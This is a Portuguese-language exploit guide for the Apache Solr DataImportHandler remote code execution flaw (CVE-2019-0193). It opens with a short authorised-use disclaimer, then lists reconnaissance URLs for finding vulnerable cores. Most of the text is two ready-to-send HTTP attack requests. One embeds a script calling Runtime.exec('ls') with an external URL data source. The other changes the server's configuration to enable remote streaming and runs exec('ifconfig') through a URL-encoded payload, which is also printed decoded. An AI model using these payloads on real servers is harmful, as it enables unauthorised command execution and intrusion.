
Exploit da Vulnerabilidade de Execução Remota de Código do Apache Solr (CVE-2019-0193)
Os métodos de deteção de vulnerabilidades, arquivos e outros conteúdos fornecidos aqui são estritamente para uso por profissionais de segurança que obtiveram autorização legal, com o objetivo de testar a segurança de servidores autorizados. Os profissionais de segurança devem cumprir as leis e regulamentos, sendo proibido realizar qualquer deteção de vulnerabilidades sem autorização.
Análise de Vulnerabilidade - Apache Solr Remote Code Execution (CVE-2019-0193) - Xianzhi Community
Em teoria, é possível usar vários tipos diferentes de fontes de dados para construir um Exploit.
O Exploit1 usa o tipo de fonte de dados URLDataSource
O Exploit2 usa o tipo de fonte de dados ContentStreamDataSource
O Exploit1 usa o tipo de fonte de dados URLDataSource
Vantagens: Exibição de resultados, suporte para deteção em versões mais antigas do Solr
Desvantagens: Requer conectividade de rede externa
Construir uma fonte de dados do tipo (o servidor Solr irá aceder a essa fonte de dados!). Pode usar diretamente este URL:
URLDataSourceO documento demo.xml é uma fonte de dados do tipo URLDataSource, um documento XML normal e inofensivo.
O documento contém apenas um elemento item para que o comando seja executado apenas uma vez.
Também pode hospedar o documento demo.xml num servidor web próprio com o comando live-server --port=5555, obtendo o endereço http://127.0.0.1:5555/demo.xml
Obter os nomes de todos os cores (index cores) no Solr
http://{xx.com:80}/solr/admin/cores
Resposta HTTP em JSON, contém os nomes de todos os cores
"name":"xxxx"
Determinar se o core utiliza o módulo DataImportHandler
Método 1
Aceder
http://{xx.com:80}/solr/{core_name}/admin/mbeans?cat=QUERY&wt=json
Se o módulo DataImportHandler estiver a ser utilizado, a resposta HTTP conterá:
org.apache.solr.handler.dataimport.DataImportHandler
Caso contrário, significa que o módulo DataImportHandler não está a ser utilizado (não afetado por esta vulnerabilidade)
Método 2
Aceder
http://{xx.com:80}/solr/#/{core_name}/dataimport
Se este servidor Solr não estiver a usar o módulo dataimport-handler (não afetado por esta vulnerabilidade), a resposta HTTP conterá o aviso:
sorry, no dataimport-handler defined!
Caso contrário, significa que o módulo DataImportHandler está a ser utilizado (afetado por esta vulnerabilidade)
Executar o comando, a resposta HTTP contém o resultado do comando, suporta múltiplas linhas (cada linha termina com \n\r)
Nota: Substituir a string "tika" no URL do pedido pelo nome do core
POST /solr/tika/dataimport HTTP/1.1
Host: solr.com:8983
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:66.0) Gecko/20100101 Firefox/66.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://solr.com:8983/solr/
Content-type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Content-Length: 1231
Connection: close
command=full-import&verbose=false&clean=false&commit=false&debug=true&core=tika&name=dataimport&dataConfig=
<dataConfig>
<dataSource type="URLDataSource"/>
<script><![CDATA[
function poc(row){
var bufReader = new java.io.BufferedReader(new java.io.InputStreamReader(java.lang.Runtime.getRuntime().exec("ls").getInputStream()));
var result = [];
while(true) {
var oneline = bufReader.readLine();
result.push( oneline );
if(!oneline) break;
}
row.put("title",result.join("\n\r"));
return row;
}
]]></script>
<document>
<entity name="entity1"
url="https://raw.githubusercontent.com/1135/solr_exploit/master/URLDataSource/demo.xml"
processor="XPathEntityProcessor"
forEach="/RDF/item"
transformer="script:poc">
<field column="title" xpath="/RDF/item/title" />
</entity>
</document>
</dataConfig>
O Exploit2 usa o tipo de fonte de dados ContentStreamDataSource
Vantagens: Exibição de resultados, sem necessidade de conectividade de rede externa
Desvantagens: Não deteta versões mais antigas - porque a modificação da configuração no ficheiro configoverlay.json através de um pedido POST irá falhar
Passo 1 omitido
Passos 2-3 iguais ao Exploit1
Este passo é para modificar a configuração no ficheiro configoverlay.json para ativar as opções relacionadas com streaming remoto: .enableStreamBody e .enableRemoteStreaming
Substituir tika pelo nome do core
POST /solr/tika/config HTTP/1.1
Host: 127.0.0.1
Accept: */*
Content-type:application/json
Content-Length: 159
Connection: close
{"set-property": {"requestDispatcher.requestParsers.enableRemoteStreaming": true}, "set-property": {"requestDispatcher.requestParsers.enableStreamBody": true}}
Resposta 200 significa sucesso (testado com versão 8.1, funcionou)
Resposta 500 significa falha (testado com algumas versões mais antigas, falhou)
Enviar o pedido, executar o comando de sistema ifconfig e obter o resultado (sem conexão externa, sem saída de rede)
POST /solr/tika/dataimport?command=full-import&verbose=false&clean=false&commit=false&debug=true&core=tika&name=dataimport&dataConfig=%0a%3c%64%61%74%61%43%6f%6e%66%69%67%3e%0a%3c%64%61%74%61%53%6f%75%72%63%65%20%6e%61%6d%65%3d%22%73%74%72%65%61%6d%73%72%63%22%20%74%79%70%65%3d%22%43%6f%6e%74%65%6e%74%53%74%72%65%61%6d%44%61%74%61%53%6f%75%72%63%65%22%20%6c%6f%67%67%65%72%4c%65%76%65%6c%3d%22%54%52%41%43%45%22%20%2f%3e%0a%0a%20%20%3c%73%63%72%69%70%74%3e%3c%21%5b%43%44%41%54%41%5b%0a%20%20%20%20%20%20%20%20%20%20%66%75%6e%63%74%69%6f%6e%20%70%6f%63%28%72%6f%77%29%7b%0a%20%76%61%72%20%62%75%66%52%65%61%64%65%72%20%3d%20%6e%65%77%20%6a%61%76%61%2e%69%6f%2e%42%75%66%66%65%72%65%64%52%65%61%64%65%72%28%6e%65%77%20%6a%61%76%61%2e%69%6f%2e%49%6e%70%75%74%53%74%72%65%61%6d%52%65%61%64%65%72%28%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%22%69%66%63%6f%6e%66%69%67%22%29%2e%67%65%74%49%6e%70%75%74%53%74%72%65%61%6d%28%29%29%29%3b%0a%0a%76%61%72%20%72%65%73%75%6c%74%20%3d%20%5b%5d%3b%0a%0a%77%68%69%6c%65%28%74%72%75%65%29%20%7b%0a%76%61%72%20%6f%6e%65%6c%69%6e%65%20%3d%20%62%75%66%52%65%61%64%65%72%2e%72%65%61%64%4c%69%6e%65%28%29%3b%0a%72%65%73%75%6c%74%2e%70%75%73%68%28%20%6f%6e%65%6c%69%6e%65%20%29%3b%0a%69%66%28%21%6f%6e%65%6c%69%6e%65%29%20%62%72%65%61%6b%3b%0a%7d%0a%0a%72%6f%77%2e%70%75%74%28%22%74%69%74%6c%65%22%2c%72%65%73%75%6c%74%2e%6a%6f%69%6e%28%22%5c%6e%5c%72%22%29%29%3b%0a%72%65%74%75%72%6e%20%72%6f%77%3b%0a%0a%7d%0a%0a%5d%5d%3e%3c%2f%73%63%72%69%70%74%3e%0a%0a%3c%64%6f%63%75%6d%65%6e%74%3e%0a%20%20%20%20%3c%65%6e%74%69%74%79%0a%20%20%20%20%20%20%20%20%73%74%72%65%61%6d%3d%22%74%72%75%65%22%0a%20%20%20%20%20%20%20%20%6e%61%6d%65%3d%22%65%6e%74%69%74%79%31%22%0a%20%20%20%20%20%20%20%20%64%61%74%61%73%6f%75%72%63%65%3d%22%73%74%72%65%61%6d%73%72%63%31%22%0a%20%20%20%20%20%20%20%20%70%72%6f%63%65%73%73%6f%72%3d%22%58%50%61%74%68%45%6e%74%69%74%79%50%72%6f%63%65%73%73%6f%72%22%0a%20%20%20%20%20%20%20%20%72%6f%6f%74%45%6e%74%69%74%79%3d%22%74%72%75%65%22%0a%20%20%20%20%20%20%20%20%66%6f%72%45%61%63%68%3d%22%2f%52%44%46%2f%69%74%65%6d%22%0a%20%20%20%20%20%20%20%20%74%72%61%6e%73%66%6f%72%6d%65%72%3d%22%73%63%72%69%70%74%3a%70%6f%63%22%3e%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%3c%66%69%65%6c%64%20%63%6f%6c%75%6d%6e%3d%22%74%69%74%6c%65%22%20%78%70%61%74%68%3d%22%2f%52%44%46%2f%69%74%65%6d%2f%74%69%74%6c%65%22%20%2f%3e%0a%20%20%20%20%3c%2f%65%6e%74%69%74%79%3e%0a%3c%2f%64%6f%63%75%6d%65%6e%74%3e%0a%3c%2f%64%61%74%61%43%6f%6e%66%69%67%3e%0a%20%20%20%20%0a%20%20%20%20%20%20%20%20%20%20%20 HTTP/1.1
Host: solr.com:8983
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:66.0) Gecko/20100101 Firefox/66.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://solr.com:8983/solr/
Content-Length: 212
content-type: multipart/form-data; boundary=------------------------aceb88c2159f183f
--------------------------aceb88c2159f183f
Content-Disposition: form-data; name="stream.body"
<?xml version="1.0" encoding="UTF-8"?>
<RDF>
<item/>
</RDF>
--------------------------aceb88c2159f183f--
Nota: O valor de dataConfig, antes da URL encoding, é a seguinte string:
<dataConfig>
<dataSource name="streamsrc" type="ContentStreamDataSource" loggerLevel="TRACE" />
<script><![CDATA[
function poc(row){
var bufReader = new java.io.BufferedReader(new java.io.InputStreamReader(java.lang.Runtime.getRuntime().exec("ifconfig").getInputStream()));
var result = [];
while(true) {
var oneline = bufReader.readLine();
result.push( oneline );
if(!oneline) break;
}
row.put("title",result.join("\n\r"));
return row;
}
]]></script>
<document>
<entity
stream="true"
name="entity1"
datasource="streamsrc1"
processor="XPathEntityProcessor"
rootEntity="true"
forEach="/RDF/item"
transformer="script:poc">
<field column="title" xpath="/RDF/item/title" />
</entity>
</document>
</dataConfig>